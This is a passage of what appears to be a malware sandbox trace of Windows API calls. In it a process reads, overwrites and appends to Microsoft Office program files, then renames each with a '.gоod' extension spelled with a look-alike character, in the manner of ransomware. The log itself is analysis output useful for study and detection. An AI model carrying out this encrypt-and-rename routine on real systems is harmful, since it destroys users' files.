(in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0177.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0177.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x3576dc0 | out: lpFileInformation=0x3576dc0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x152)) returned 1 [0177.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0177.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0177.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0177.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0177.672] GetFileType (hFile=0x804) returned 0x1 [0177.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0177.672] GetFileType (hFile=0x804) returned 0x1 [0177.672] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x152 [0177.672] ReadFile (in: hFile=0x804, lpBuffer=0x3577240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x3577240*, lpNumberOfBytesRead=0x1f59e768*=0x152, lpOverlapped=0x0) returned 1 [0177.673] CloseHandle (hObject=0x804) returned 1 [0178.285] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0178.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0178.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.286] GetFileType (hFile=0x818) returned 0x1 [0178.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0178.286] GetFileType (hFile=0x818) returned 0x1 [0178.286] WriteFile (in: hFile=0x818, lpBuffer=0x35bfe60*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x35bfe60*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0178.287] CloseHandle (hObject=0x818) returned 1 [0178.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x50 [0178.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x55 [0178.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0178.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x667a7171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0178.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0178.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml.gоod")) returned 1 [0178.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0178.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), fInfoLevelId=0x0, lpFileInformation=0x35c1328 | out: lpFileInformation=0x35c1328*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1bcd2cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71060)) returned 1 [0178.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0178.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.289] GetFileType (hFile=0x818) returned 0x1 [0178.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.289] GetFileType (hFile=0x818) returned 0x1 [0178.289] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0178.289] ReadFile (in: hFile=0x818, lpBuffer=0x35c1720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35c1720*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0178.291] CloseHandle (hObject=0x818) returned 1 [0178.429] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.430] GetFileType (hFile=0x818) returned 0x1 [0178.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.430] GetFileType (hFile=0x818) returned 0x1 [0178.430] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x71060 [0178.432] WriteFile (in: hFile=0x818, lpBuffer=0x34adf30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34adf30*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0178.463] CloseHandle (hObject=0x818) returned 1 [0178.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.463] GetFileType (hFile=0x818) returned 0x1 [0178.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.463] GetFileType (hFile=0x818) returned 0x1 [0178.463] ReadFile (in: hFile=0x818, lpBuffer=0x34bbc90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34bbc90*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0178.491] CloseHandle (hObject=0x818) returned 1 [0178.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.491] GetFileType (hFile=0x818) returned 0x1 [0178.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.492] GetFileType (hFile=0x818) returned 0x1 [0178.492] WriteFile (in: hFile=0x818, lpBuffer=0x34ba9f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34ba9f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0178.492] CloseHandle (hObject=0x818) returned 1 [0178.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", lpFilePart=0x0) returned 0x3c [0178.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.gоod", lpFilePart=0x0) returned 0x41 [0178.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0178.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66992df0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71070)) returned 1 [0178.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0178.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe.gоod")) returned 1 [0178.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0178.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), fInfoLevelId=0x0, lpFileInformation=0x35381d0 | out: lpFileInformation=0x35381d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3abf78f6, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b50e439, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1cf6848)) returned 1 [0178.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0178.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.494] GetFileType (hFile=0x818) returned 0x1 [0178.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.494] GetFileType (hFile=0x818) returned 0x1 [0178.494] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0178.494] ReadFile (in: hFile=0x818, lpBuffer=0x35385a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35385a8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0178.495] CloseHandle (hObject=0x818) returned 1 [0178.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.495] GetFileType (hFile=0x818) returned 0x1 [0178.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.495] GetFileType (hFile=0x818) returned 0x1 [0178.495] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1cf6848 [0178.496] WriteFile (in: hFile=0x818, lpBuffer=0x3539820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3539820*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0178.496] CloseHandle (hObject=0x818) returned 1 [0178.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.497] GetFileType (hFile=0x818) returned 0x1 [0178.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.497] GetFileType (hFile=0x818) returned 0x1 [0178.497] ReadFile (in: hFile=0x818, lpBuffer=0x353bac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x353bac0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0178.718] CloseHandle (hObject=0x818) returned 1 [0178.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0178.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.718] GetFileType (hFile=0x818) returned 0x1 [0178.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0178.718] GetFileType (hFile=0x818) returned 0x1 [0178.718] WriteFile (in: hFile=0x818, lpBuffer=0x345ab78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x345ab78*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0178.719] CloseHandle (hObject=0x818) returned 1 [0178.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE", lpFilePart=0x0) returned 0x3b [0178.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.gоod", lpFilePart=0x0) returned 0x40 [0178.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0178.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3abf78f6, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x66be1117, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cf6858)) returned 1 [0178.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0178.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.gоod")) returned 1 [0178.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0178.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0178.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x35b8f50 | out: lpFileInformation=0x35b8f50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x156)) returned 1 [0178.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0178.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0178.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0178.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0178.722] GetFileType (hFile=0x818) returned 0x1 [0178.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0178.722] GetFileType (hFile=0x818) returned 0x1 [0178.723] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x156 [0178.723] ReadFile (in: hFile=0x818, lpBuffer=0x35b93d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x35b93d0*, lpNumberOfBytesRead=0x1f59e768*=0x156, lpOverlapped=0x0) returned 1 [0178.723] CloseHandle (hObject=0x818) returned 1 [0179.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0179.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0179.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.018] GetFileType (hFile=0x81c) returned 0x1 [0179.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0179.018] GetFileType (hFile=0x81c) returned 0x1 [0179.018] WriteFile (in: hFile=0x81c, lpBuffer=0x3523298*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x3523298*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0179.019] CloseHandle (hObject=0x81c) returned 1 [0179.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0179.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x57 [0179.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0179.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: 